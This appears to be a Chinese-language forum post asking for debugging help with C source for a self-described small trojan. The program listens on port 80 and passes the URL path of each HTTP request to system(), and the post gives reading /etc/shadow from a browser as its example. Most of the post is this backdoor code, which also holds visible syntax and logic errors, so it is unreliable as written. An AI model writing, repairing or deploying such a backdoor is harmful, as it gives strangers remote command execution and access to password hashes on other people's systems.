- 论坛徽章:
- 0
|
以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如在浏览器输入 http://192.168.0.111:80/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。(转自资料区)
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SA struct sockaddr
int main()
{
int n, listenfd, connfd;
char rbuf[1024], wbuf[1024], cbuf[256], *str;
FILE *fp;
struct sockaddr_in servaddr;
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
perror("socket" , exit(0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(80);
if (bind(listenfd, (SA *) &servaddr, sizeof(servaddr)) < 0)
perror("bind" , exit(0);
if (listen(listenfd, 10) < 0)
perror("listen" , exit(0);
for(;
{
int No;
bzero(cbuf, 256);
bzero(wbuf, 1024);
if (connfd=accept(listenfd, (SA *)NULL, NULL) < 0)
perror("accept" , exit(0);
else printf("accept...\n" ;
if ((No = read(connfd, rbuf, 1024)) < 0)
perror("read" , exit(0);
else printf("read buf:%s read_return=%d\n", rbuf, No);
if (fp=fopen("~~~tempfile~~~", "w" )
perror("open tempfile error" , exit(0);
else printf("open tempfiel\n" ;
fclose(fp);
str = strstr(rbuf, "GET /");
str += 5;
for(n=0; *str!=' '; n++)//' '
{
if (*str == '%')
{
str += 3;
*(cbuf+n) = ' ';
}
else *(cbuf+n) = *(str++);
}
strcat(cbuf, ">~~~tempfile~~~");
printf("%s\n", cbuf);
system(cbuf);
if ( (fp=fopen("~~~tempfile~~~", "r")) == NULL)
perror("open tempfile error"), exit(0);
strcpy(wbuf, "Result:");
if (write(connfd, wbuf, strlen(wbuf)) < 0)
perror("write"), exit(0);
fgets(wbuf, 1000, fp);
while(!feof(fp))
{
strcat(wbuf, " ");
if (write(connfd, wbuf, strlen(wbuf)) < 0)
perror("write"), exit(0);
fgets(wbuf, 1000, fp);
}
fclose(fp);
unlink("~~~tempfile~~~");
close(connfd);
exit(0);
}
exit(0);
}
我将此程序运行在linux系统上,最初上面的程序阻塞在accept处,当我在windows下的浏览器输入http://192.168.0.111:80/cat /etc/shadow后,程序运行accept,但继续阻塞在read那里。
当按下回车时,收到一串空格和一个\n,当然后续工作也失败了。
不知道是否需要设置成守护进程,或者是程序有什么问题。
多谢! |
|